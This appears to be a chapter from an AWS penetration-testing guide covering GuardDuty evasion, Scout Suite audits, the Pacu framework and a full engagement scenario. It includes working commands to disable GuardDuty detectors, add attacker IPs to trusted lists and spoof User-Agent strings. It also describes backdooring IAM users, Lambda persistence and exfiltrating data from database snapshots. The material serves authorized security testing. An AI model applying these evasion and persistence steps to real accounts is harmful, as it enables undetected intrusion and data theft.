Understanding security monitoring within a target environment is crucial for attackers, as it directly influences the attack strategy. Knowledge of active monitoring for specific actions allows an attacker to avoid those actions and choose alternative, less detectable paths. In environments without monitoring, attackers can take the most straightforward route to achieve their objectives without alerting defenders.
AWS offers several security services, with GuardDuty being the primary continuous monitoring solution. It is a cost-effective service designed to detect common threats. However, even when GuardDuty is disabled, other monitoring tools, both AWS-native and third-party, may still be active. This chapter focuses on GuardDuty, its detections, alerting mechanisms, and methods to bypass its checks.
Introduction to GuardDuty and Its Findings
GuardDuty is a managed threat detection service that analyzes VPC Flow Logs, CloudTrail management events, and DNS logs to identify suspicious and malicious activity. It does not require these logs to be explicitly enabled in the account for analysis. Notably, GuardDuty can only ingest DNS logs if the EC2 instances use the AWS DNS resolver (the default). If an instance uses an alternative resolver, such as Google or CloudFlare, GuardDuty cannot monitor that DNS traffic.
GuardDuty supports a multi-account architecture where a single administrator account manages monitoring for multiple member accounts. If an attacker compromises the GuardDuty administrator account, they may manipulate the monitoring configuration for all linked accounts.
GuardDuty generates findings based on various threat intelligence feeds and machine learning models that establish a baseline of normal activity for an account. Activities that deviate from this baseline may trigger alerts. For example, if a user who typically only interacts with EC2 services suddenly attempts to enumerate IAM permissions, GuardDuty may generate a Recon:IAMUser/UserPermissions finding.
While many findings target obvious attack patterns (e.g., port scanning, SSH/RDP brute-forcing, Tor usage), this discussion focuses on more AWS-specific and advanced detections.
Alerting and Responding to GuardDuty Findings
By default, findings are displayed in the AWS Management Console. Organizations can configure CloudWatch Events rules to react automatically to these findings. A rule can be created with GuardDuty as the event source and "GuardDuty Finding" as the event type. The rule's target can be an SNS topic (to notify a security team via SMS/email) or a Lambda function (to initiate automated remediation).
For instance, a Lambda function could parse the finding data, identify a cryptocurrency-related detection, and automatical modify security groups to block outbound traffic to the implicated domain, while also sending an alert to the security team.
Bypassing GuardDuty
Numerous GuardDuty findings exist, and correspondingly, there are many techniques to bypass them. While not all detections can be evaded, understanding what GuardDuty monitors allows an attacker to adjust their operations to avoid detection. In some cases, an attacker might deliberately trigger certain alerts to distract defenders or even submit fake findings via the PutEvents API to disrupt automated response workflows.
Disabling Monitoring Entirely
The most direct, albeit disruptive, method is to disable or delete the GuardDuty detector in the account. This action is region-specific. The following commands illustrate the process:
# List detectors in the current region
detector_list=$(aws guardduty list-detectors --query 'DetectorIds' --output text)
# Disable a detector
aws guardduty update-detector --detector-id $detector_list --no-enable
# Delete a detector
aws guardduty delete-detector --detector-id $detector_list
IP Allow-List Bypass
A more effective and stealthy approach is to add the attacker's IP address to GuardDuty's trusted IP list. This prevents GuardDuty from generating findings for activity originating from that IP. Each detector is limited to one trusted IP list per region.
First, check if a trusted IP list already exists:
aws guardduty list-ip-sets --detector-id $detector_id
If no list exists, create a new one. The list must be hosted in a publicly accessible S3 bucket.
# Create a file with the IP to whitelist
echo "203.0.113.5/32" > allow_ips.txt
# Upload to an S3 bucket
aws s3 cp ./allow_ips.txt s3://your-bucket-name/
aws s3api put-object-acl --bucket your-bucket-name --key allow_ips.txt --acl public-read
# Create the trusted IP list in GuardDuty
aws guardduty create-ip-set \
--detector-id $detector_id \
--name "AttackerAllowList" \
--format TXT \
--location https://s3.amazonaws.com/your-bucket-name/allow_ips.txt \
--activate
If a list already exists, download the current list, append your IP, upload the updated file, and use the update-ip-set command to modify the existing list. After the engagement, revert the list to its original state to avoid leaving traces.
Bypassing EC2 Instance Credential Exfiltration Alerts
The UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration finding triggers when IAM credentials from an EC2 instance profile are used from an IP address external to AWS. A common scenario is stealing credentials via a Server-Side Request Forgery (SSRF) vulnerability on an EC2 instance.
To bypass this detection, launch an EC2 instance in your own attacker-controlled AWS account (preferably in the same region as the target). Configure tools like the AWS CLI or Pacu with the stolen credentials on this instance. Since the API calls originate from within AWS, they will not trigger the exfiltration alert.
# Launch an instance with user data to install tools
aws ec2 run-instances \
--image-id ami-0ac019f4fcb7cb7e6 \
--instance-type t2.micro \
--key-name your-key \
--user-data file://bootstrap_script.txt
The bootstrap_script.txt could install Python, pip, the AWS CLI, and Pacu. SSH into the instance and configure the stolen credentials.
This detection only applies to credentials from EC2 instance profiles. Credentials obtained from other services (e.g., Lambda environment variables, Glue development endpoints) are not monitored by this specific GuardDuty finding.
Bypassing Penetration Testing OS Alerts
GuardDuty includes findings (PenTest:IAMUser/KaliLinux, PenTest:IAMUser/ParrotLinux, PenTest:IAMUser/PentooLinux) that trigger when API calls are made from these security-focused Linux distributions. Detection is based on the User-Agent string included in CloudTrail logs, which contains the OS name (e.g., kali, parrot, pentoo).
To avoid detection, modify the User-Agent string in your API requests. The following Python example demonstrates this using the boto3 library:
import boto3
import botocore
import random
# List of benign User-Agent strings
safe_agents = [
'Boto3/1.7.48 Python/3.7.0 Windows/10 Botocore/1.10.48',
'aws-sdk-go/1.4.22 (go1.7.4; linux; amd64)',
]
current_agent = boto3.session.Session()._session.user_agent().lower()
if any(os in current_agent for os in ['kali', 'parrot', 'pentoo']):
new_agent = random.choice(safe_agents)
config = botocore.config.Config(user_agent=new_agent)
client = boto3.client('ec2', config=config)
else:
client = boto3.client('ec2')
# Use the client for API calls
print(client.describe_instances())
The Pacu framework automatically performs this check and modifies the User-Agent if it detects one of these operating systems.
For maximum stealth, analyze the target's CloudTrail logs to identify User-Agent strings commonly used by legitimate users and adopt one of those.
Evading Other Common Findings
Simple rules can help avoid several other GuardDuty findings:
- Network Activity: Avoid using Tor to communicate with AWS, do not perform port scans from EC2 instances, and do not conduct SSH/RDP brute-force attacks.
- Cryptocurrency: Avoid communication with known cryptocurrency-related domains and IP addresses.
- Behavioral: Use common ports (80, 443) for command-and-control traffic and limit data exfiltration volume to avoid unusual traffic alerts.
- Resource Consumption: To avoid
ResourceConsumption:IAMUser/ComputeResourcesalerts triggered byRunInstances, use other AWS services that launch compute resources (e.g., Lightsail, Glue Development Endpoints, AppStream). - Stealth: Do not modify the account password policy to weaken it.
- Trojan: Avoid DNS data exfiltration. Note that GuardDuty only monitors DNS queries resolved through the AWS DNS resolver; using an alternative resolver bypasses this monitoring.
Summary
GuardDuty is an evolving service that currently detects many common, low-sophistication threats. While numerous checks are relatively easy to bypass, it is essential to remember that GuardDuty may not be the only monitoring solution in an environment. Successfully evading its detections reduces the risk of being caught by basic security controls, allowing an attacker to focus on avoiding more advanced monitoring setups.
AWS Security Auditing with Scout Suite
Scout Suite is an open-source multi-cloud security auditing tool that automates the collection and analysis of configuration data to identify misconfigurations and security risks.
Setting Up a Vulnerable AWS Environment
For demonstration, create a VPC, subnet, and an EC2 instance with a security group allowing all traffic. Also, create an S3 bucket with public read/write permissions.
Installing and Running Scout Suite
Create an IAM user with the ReadOnlyAccess and SecurityAudit managed policies. Configure the AWS CLI with these credentials.
Install Scout Suite via pip:
pip install scoutsuite
Or clone the GitHub repository:
git clone https://github.com/nccgroup/ScoutSuite
cd ScoutSuite
pip install -r requirements.txt
Run the tool against the AWS account:
scout aws
# Or
python Scout.py aws
It generates an HTML report in the scoutsuite-report folder, detailing security issues across services like EC2, S3, VPC, and IAM.
Using Custom Rulesets
Scout Suite allows the use of custom rulesets to tailor the audit to specific organizational requirements. Copy the default ruleset file, modify rule severity or enable/disable specific checks, and run Scout Suite with the --ruleset parameter.
scout aws --ruleset custom_rules.json
Offensive AWS Testing with Pacu
Pacu is an open-source AWS exploitation framework designed for penetration testing and research.
Initial Setup and Commands
Clone the repository and run the installation script:
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
bash install.sh
python3 pacu.py
Pacu organizes work into sessions to isolate data and credentials for different engagements. Key commands include:
list/ls: List all available modules.search: Search for modules by name or category.whoami: Display information about the current AWS identity.data: Show collected data for the current session or a specific service.set_regions: Define which AWS regions to target.run/exec: Execute a module.set_keys/swap_keys: Manage AWS credentials.aws: Execute AWS CLI commands directly from Pacu.
Developing a Custom Module
Pacu modules are Python scripts. The template provides the necessary structure and access to Pacu's API helpers (e.g., get_boto3_client, fetch_data). A simple module to enumerate S3 buckets might look like this:
import boto3
from botocore.exceptions import ClientError
module_info = {
'name': 's3__enum',
'author': 'Your Name',
'category': 'ENUM',
'one_liner': 'Lists S3 buckets.',
'description': 'Enumerates S3 buckets and stores results.',
'services': ['S3'],
}
def main(args, pacu_main):
session = pacu_main.get_active_session()
print = pacu_main.print
results = {'Buckets': []}
try:
client = pacu_main.get_boto3_client('s3')
response = client.list_buckets()
results['Buckets'] = response['Buckets']
except ClientError as e:
print(f'Error: {e}')
return False
session.update(pacu_main.database, S3=results)
return results
def summary(data, pacu_main):
return f"Found {len(data['Buckets'])} bucket(s)."
Place the module in modules/s3__enum/main.py with an empty __init__.py file. Pacu will automatically detect and list it.
Introduction to PacuProxy
PacuProxy is a command-and-control framework integrated with Pacu, designed for operating within compromised AWS environments. It routes attacker traffic through compromised instances (like EC2) to make activity appear internal. PacuProxy includes modules for tasks such as stealing credentials from instance metadata and establishing persistent access.
End-to-End AWS Penetration Testing Scenario
This scenario outlines a structured approach to assessing an AWS environment, combining reconnaissance, privilege escalation, persistence, exploitation, and auditing.
Engagement Scoping and Setup
Define the scope with the client, ensuring compliance with AWS penetration testing policies. Obtain credentials (e.g., for an IAM user named CompromisedUser). Set up tools like the AWS CLI and Pacu, and import credentials.
Unauthenticated Reconnaissance
Using your own attacker-controlled AWS account (PersonalUser), perform cross-account reconnaissance to identify IAM users, roles, and S3 buckets associated with the target account. The iam__detect_honeytokens module can obtain the target account ID without logging in the target's CloudTrail. Follow with modules like iam__enum_users and s3__bucket_finder.
Authenticated Reconnaissence and Permission Enumeration
Switch to the CompromisedUser credentials in Pacu. Enumerate the user's permissions with iam__enum_permissions. Then, enumerate permissions for all users and roles in the account using iam__enum_permissions --all-users --all-roles. Use aws__enum_spend to identify heavily used services. Perform service-specific enumeration (e.g., ec2__enum, lambda__enum) to map the environment.
Privilege Escalation
Analyze the collected permission data with iam__privesc_scan --offline to identify potential privilege escalation paths. Then, run iam__privesc_scan (without --offline) to automatically attempt exploitation. For example, if the CreateEC2WithExistingIP method is available, the module can create an EC2 instance with a high-privilege instance profile, providing temporary administrative access. Use this access to attach the AdministratorAccess policy to the original compromised user.
Establishing Persistence
Create multiple persistence mechanisms:
- Backdoor IAM Users: Use
iam__backdoor_users_keysto create access keys for other administrative users. - Lambda Backdoor: Use
lambda__backdoor_new_rolesto deploy a Lambda function that automatically modifies newly created IAM roles to allow assumption by an external attacker-controlled user. This function is triggered by a CloudWatch Events rule onCreateRoleAPI calls. - EC2 Instance: Maintain the EC2 instance used for privilege escalation as a fallback, though it is less reliable.
Post-Exploitation and Service Analysis
With elevated access, conduct in-depth analysis and exploitation of various AWS services:
- EC2: Review security groups, check for exposed services, and attempt remote code execution via Systems Manager (
systemsmanager__rce_ec2). Examine EBS snapshots for sensitive data usingebs__explore_snapshots. - Lambda: Enumerate functions, inspect environment variables and source code for secrets and vulnerabilities. Execute code if vulnerabilities are found.
- RDS: Identify database instances. Use
rds__explore_snapshotsto create a copy of a database, change the master password, and connect to exfiltrate data, then clean up the temporary resources. - S3: Audit buckets for public access, review stored files for credentials or sensitive data, and examine bucket policies and logging configurations.
Compliance and Best Practices Audit
Supplement the exploitation-focused testing with checks for security best practices and common misconfigurations across services. Use tools like Scout Suite, Prowler, or Security Monkey to assess areas such as:
- Publicly accessible resources.
- Encryption at rest and in transit.
- Logging and monitoring enablement.
- Backup and disaster recovery configurations.
- Use of MFA and strong password policies.
- Deletion protection for critical resources.
Reporting
Document all findings, including privilege escalation paths, persistence mechanisms, exploited vulnerabilities, and configuration weaknesses. Provide actionable recommendations to help the client improve their security posture.
AWS penetration testing is a continuous learning process due to the scale and constant evolution of cloud services. A thorough assessment requires a blend of automated tooling and manual investigation to uncover risks and provide valuable security insights.